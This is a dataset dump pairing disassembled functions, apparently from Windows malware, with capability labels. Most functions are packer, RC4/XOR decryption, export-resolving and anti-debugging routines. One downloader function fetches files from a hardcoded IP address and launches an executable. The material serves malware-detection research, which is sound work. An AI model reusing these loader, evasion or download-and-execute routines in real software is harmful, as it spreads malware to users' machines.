joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012ae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov dword [esp + 0x6c], 0x522da6
mov eax, esp
lea ecx, [esp + 0x6c]
mov dword [eax + 4], ecx
mov dword [eax], 0x43ce9b
mov eax, dword [0x1000d018]
call eax
sub esp, 8
mov ecx, esp
lea edx, [esp + 0x70]
mov dword [ecx], edx
mov ecx, dword [0x1000d054]
mov dword [esp + 0x68], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x44373e
mov ecx, dword [0x1000d050]
mov dword [esp + 0x64], eax
call ecx
sub esp, 4
mov ecx, esp
lea edx, [esp + 0x78]
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], 0xda0
mov dword [ecx + 4], 0x711
mov dword [ecx], 0x40b70b
mov ecx, dword [0x1000d008]
mov dword [esp + 0x60], eax
call ecx
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 4], 0xbc3a75
mov dword [ecx], 0x845bbb
mov ecx, dword [0x1000d004]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 8
xor ecx, ecx
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], ecx
jmp 0x1000142a
mov eax, dword [esp + 0x50]
add eax, 1
cmp eax, 0xfb
mov dword [esp + 0x54], eax
je 0x1000150b
jmp 0x1000142a
mov eax, esp
lea ecx, [esp + 0x80]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], 0x80b76
mov dword [eax + 4], 0xefb
mov dword [eax], 0xa16fb6
mov eax, dword [0x1000d014]
call eax
sub esp, 0x10
mov dword [esp + 0x4c], eax
jmp 0x100013f7
mov eax, dword [esp + 0x48]
add eax, 1
mov ecx, esp
mov dword [ecx + 8], 0x505
mov dword [ecx + 4], 0x101bf6ca
mov dword [ecx], 0x101bf6ca
mov ecx, dword [0x1000d038]
mov dword [esp + 0x44], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0x44]
cmp ecx, 0xa
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], ecx
je 0x10001362
jmp 0x100013af
mov eax, dword [esp + 0x3c]
add eax, 1
cmp eax, 0x4d
mov dword [esp + 0x38], eax
je 0x10001486
mov eax, dword [esp + 0x38]
mov ecx, 0xd
mov dword [esp + 0x3c], eax
xor edx, edx
div ecx
cmp edx, 5
je 0x1000137f
jmp 0x100013f7
mov eax, dword [esp + 0x54]
mov ecx, esp
mov dword [ecx], 0xc90218
mov ecx, dword [section..rdata]
mov dword [esp + 0x50], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x2843d3
mov ecx, dword [0x1000d04c]
mov dword [esp + 0x34], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xd2d
mov dword [ecx], 0x9ec628
mov ecx, dword [0x1000d010]
mov dword [esp + 0x30], eax
call ecx
sub esp, 8
xor ecx, ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], ecx
jmp 0x1000140b
xor eax, eax
xor ecx, ecx
mov edx, dword [esp + 0x50]
sub edx, 0xb
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
je 0x100014d2
jmp 0x100014a1
mov eax, dword [esp + 0x50]
sub eax, 0x2e
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x48], ecx
jne 0x100013af
jmp 0x100014bc
mov eax, esp
mov dword [eax], 0x83ec3d
mov eax, dword [0x1000d048]
call eax
sub esp, 4
mov dword [esp + 0x18], eax
mov eax, esp
mov dword [eax + 4], 0x350
mov dword [eax], 0x3d70cc
mov eax, dword [0x1000d044]
call eax
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x699177
mov ecx, dword [0x1000d040]
mov dword [esp + 0x14], eax
call ecx
sub esp, 4
mov dword [esp + 0x10], eax
jmp 0x10001362
mov esp, ebp
pop ebp
ret
Function at 0x1000b649
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x101d4e34], 0x11bb
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0xd8
mov edi, edx
add edi, esi
add edi, 0x18
mov esi, eax
add esi, 1
imul eax, eax, 0xd8
add edx, eax
add edx, 0xc0
mov eax, dword [edx]
movzx edx, word [edi]
xor edx, eax
add edx, ecx
cmp esi, 0x18c
mov eax, edx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], esi
jne 0x1000b678
lea eax, [0x101bf689]
mov ecx, 0xe
lea edx, [ebp - 0x12c]
mov dword [0x101d4e34], 0xfffff0ef
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.1000bd5d
mov eax, dword [0x101d4e34]
add eax, 0xffffdb0c
mov dword [0x101d4e38], eax
mov dword [0x101d4e34], 0x1b9e
call fcn.1000bc0b
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.1000b2c3
mov ecx, eax
mov dword [0x101d4e54], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [0x101d4e34]
add edx, 0xffffec8a
mov dword [0x101d4e34], edx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0xd8
mov edi, edx
add edi, esi
add edi, 0xc0
imul esi, eax, 0xd8
mov ebx, edx
add ebx, esi
mov esi, eax
add esi, 1
imul eax, eax, 0xd8
add edx, eax
add edx, 0x18
mov eax, dword [ebp - 0x148]
add eax, ecx
mov edi, dword [edi]
mov ebx, dword [ebx]
movzx edx, word [edx]
xor edx, edi
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov dword [ebp - 0x154], esi
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.1000c337
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
cmp edx, 0x18c
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], eax
jne 0x1000b793
lea eax, [0x101bf697]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov esi, dword [ebp - 0x148]
add esi, 0x33ffc
mov edi, dword [ebp - 0x148]
add edi, 0x6eb7
mov dword [0x101d4e38], 0xda2
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edi
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], esi
call fcn.1000c024
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.1000c55f
xor eax, eax
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x16c]
mov dword [ecx], edx
mov dword [ecx + 4], 0x148200
mov edx, dword [ebp - 0x160]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], 0x2080
mov dword [0x101d4e38], 0x1223
add esp, 0x170
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000b96e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x101d4e38]
add edx, 0xffffd94f
mov dword [0x101d4e34], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
jmp 0x1000b9c9
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1000ba63
jmp 0x1000baa2
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov edx, eax
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x14]
cmp word [esi + ecx*2], 0
mov edi, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], edi
je 0x1000ba0d
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x30], eax
jl 0x1000b9c9
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [0x101d4e34], ecx
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1000baa2
mov dword [0x101d4e38], 0x7a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1000baa2
mov eax, dword [ebp - 0x24]
add eax, 0xffffe7d7
mov dword [0x101d4e34], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1000b9b1
jmp 0x1000baa2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000baa2
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000baa2
mov eax, 1
mov dword [0x101d4e34], 0xb63
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x34], eax
je 0x1000baa9
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1000baa9
mov eax, dword [ebp - 0x34]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x1000bac8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000c3b6
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x101d4e34]
add edi, 0x20f3
mov dword [0x101d4e34], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101d4e38], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1000bc00
jmp 0x1000bb52
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov edx, dword [ebp - 0x2c]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x24], eax
jb 0x1000bb64
jmp 0x1000bc00
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x1000bbcf
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x1000bb7e
mov al, byte [ebp - 0x42]
test al, 1
jne 0x1000bbdb
jmp 0x1000bb29
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101d4e34], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c024
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d4e40], 0
mov byte [0x101d4e44], 0
mov edi, dword [0x101d4e34]
add edi, 0xe84
mov dword [0x101d4e38], edi
mov dword [0x101d4e3c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000c084
xor eax, eax
mov dword [0x101d4e3c], 0
mov dword [ebp - 0x20], eax
jmp 0x1000c0b6
mov eax, dword [ebp - 0x1c]
mov dword [0x101d4e38], 0x8b8
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d4e3c]
add eax, 1
mov dword [0x101d4e3c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000c084
jmp 0x1000c073
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101d4e48], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x101d4e40]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101d4e48], esi
mov dword [0x101d4e34], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x101d4e40], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x101d4e44], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x101d4e44]
mov esi, dword [0x101d4e40]
mov byte [ebx + esi], cl
mov esi, dword [0x101d4e3c]
add esi, 1
mov dword [0x101d4e3c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000c0b6
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c16c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x101bf689]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x101d4e34], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.1000bd5d
mov dword [0x101d4e34], 0x1b9e
call fcn.1000bc0b
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1000b2c3
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
jne 0x1000c1e9
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
mov dword [0x101d4e34], 0x505
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x101d4e34], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000b41d
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101d4e34], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x18], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 8], ecx
mov dword [0x101d4e38], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x1000c1df
mov eax, dword [ebp - 0x44]
add eax, 0x2465
mov ecx, dword [0x101d4e34]
add ecx, 0x2182
mov dword [0x101d4e34], ecx
mov dword [ebp - 0x40], eax
jmp 0x1000c1df
Function at 0x1000c55f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101d4e3c], 0
mov dword [0x101d4e40], 0
mov dword [0x101d4e4c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000c6af
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, edx
add edi, 1
add eax, 1
mov dword [0x101d4e34], 0x581
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x101d4e3c], edx
mov dword [0x101d4e38], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101d4e40], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x101d4e44], cl
mov dword [0x101d4e38], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101d4e44]
mov edx, dword [0x101d4e40]
mov byte [ebx + edx], cl
mov edx, dword [0x101d4e3c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101d4e40]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101d4e4c], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov byte [0x101d4e50], cl
mov dword [0x101d4e34], 0x13d7
mov dword [0x101d4e38], 0x1ac9
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x1000c6af
mov eax, dword [0x101d4e3c]
mov ecx, dword [0x101d4e40]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x1000c5b8
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c6b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x101d4e34], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000b649
lea ecx, [0x1000b8f5]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x34], edx
mov dword [esp + 0x54], 0x148200
mov edx, dword [0x101d4e20]
mov dword [esp + 0x44], edx
mov edx, dword [0x101d4e24]
mov dword [esp + 0x68], edx
mov edx, dword [0x101d4e28]
mov dword [esp + 0x30], edx
mov edx, dword [0x101d4e2c]
mov dword [esp + 0x74], edx
mov edx, dword [0x101d4e30]
mov dword [esp + 0x60], edx
mov dword [0x101d4e38], 0x1d3f
mov dword [0x101d4e34], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000c76b
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000c78e
jmp 0x1000c77a
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x1000c74d
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000c76b
mov eax, dword [esp + 0x10]
mov dword [esp + 0x70], eax
mov dword [0x101d4e34], 0x4417
mov dword [0x101d4e38], 0x94b
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x4c], edx
call fcn.1000b96e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1000c763
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000c16c
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
jmp 0x1000c763
Function at 0x481d00
Capabilities:
Check for software breakpoints

Disassembly:
call 0x481d05
pop eax
mov ebx, 0x400000
mov esi, dword [ebx + 0xc0]
lea eax, [ebx + esi]
dec eax
mov cl, byte [eax]
cmp cl, 0xcc
je 0x481d14
sub eax, 3
mov edx, dword [eax]
mov esi, dword [ebx + 0x16c]
add esi, ebx
lea edi, [ebx + 0x1000]
push edi
mov ecx, edx
sub ecx, esi
push ecx
push esi
call fcn.00481ba2
lea edx, [eax - 4]
sub edx, dword [edx]
mov esi, ebx
add esi, dword [edx + 0x10c]
mov edi, dword [edx + 0x104]
mov ecx, 0x1d6be
call fcn.00481cc3
mov esi, dword [edx + 0x80]
push edx
add esi, ebx
mov eax, dword [esi + 0xc]
or eax, eax
je 0x481dab
add eax, ebx
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebp, eax
mov ecx, dword [esi]
add ecx, ebx
mov edi, dword [esi + 0x10]
add edi, ebx
mov eax, dword [ecx]
or eax, eax
je 0x481da6
pushal
test eax, 0x80000000
je 0x481d90
and eax, 0x7fffffff
jmp 0x481d94
lea eax, [ebx + eax + 2]
push eax
push ebp
call sub.kernel32.dll_GetProcAddress
mov dword [edi], eax
popal
add edi, 4
add ecx, 4
jmp 0x481d7b
add esi, 0x14
jmp 0x481d61
pop edx
add ebx, dword [edx + 0x28]
jmp ebx
Function at 0x401aa1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ae0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ae0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ae0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ae0
cmp dword [ecx + 0x74], 0xe
jbe 0x401ae0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40abc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40abed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40abed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4014ab
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406740
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a0
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [ebp - 0x1ac]
call sub.MFC42.DLL_CFrameWnd::CFrameWnd
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1ac]
mov dword [eax], 0x4076c0
mov word [ebp - 0x1a6], 0x202
lea ecx, [ebp - 0x1a4]
push ecx
mov dx, word [ebp - 0x1a6]
push edx
call sub.WSOCK32.dll_WSAStartup
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401527
push 0
push 0
push 0x40906c
mov ecx, dword [ebp - 0x1ac]
call sub.MFC42.DLL_CWnd::MessageBoxA
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x403bca
Capabilities:
Create directory
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push str.C:Windows_sysWOW64_testn
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0
push 0x409240
push str.http:__156.237.223.108:5637_xxq.txt
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 0
push 0
push 0x4092d0
push str.http:__156.237.223.108:5637_xiaoq.txt
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 5
push 0
push 0
push str.C:Windows_sysWOW64_testnxxq.txt
push 0x409390
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0
push str.C:Windows_sysWOW64_testn_testenti.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop ebp
ret
Function at 0x8e8433
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf08d7a74
jmp 0x8e8481
lea esp, [esp + 0x64]
jmp 0x8e843e
mov word [esp + 1], cx
mov dword [esp + 0x64], edi
jmp 0x8e841d
pushfd
jmp 0x8e66be
mov esi, dword [esp + 0x2c]
mov bx, di
jmp 0x8e8494
mov al, byte [esp]
xchg ah, dl
mov edi, 0xdee1f32d
lea edi, [eax*4]
jmp 0x8e846b
lea edi, [esp]
sub esp, 0x1f
jo 0x8e84d3
pop dx
mov bh, byte [esp + 0xc]
stc
lea esp, [esp + 1]
jmp 0x8e84fe
pop dx
jmp 0x8e84bd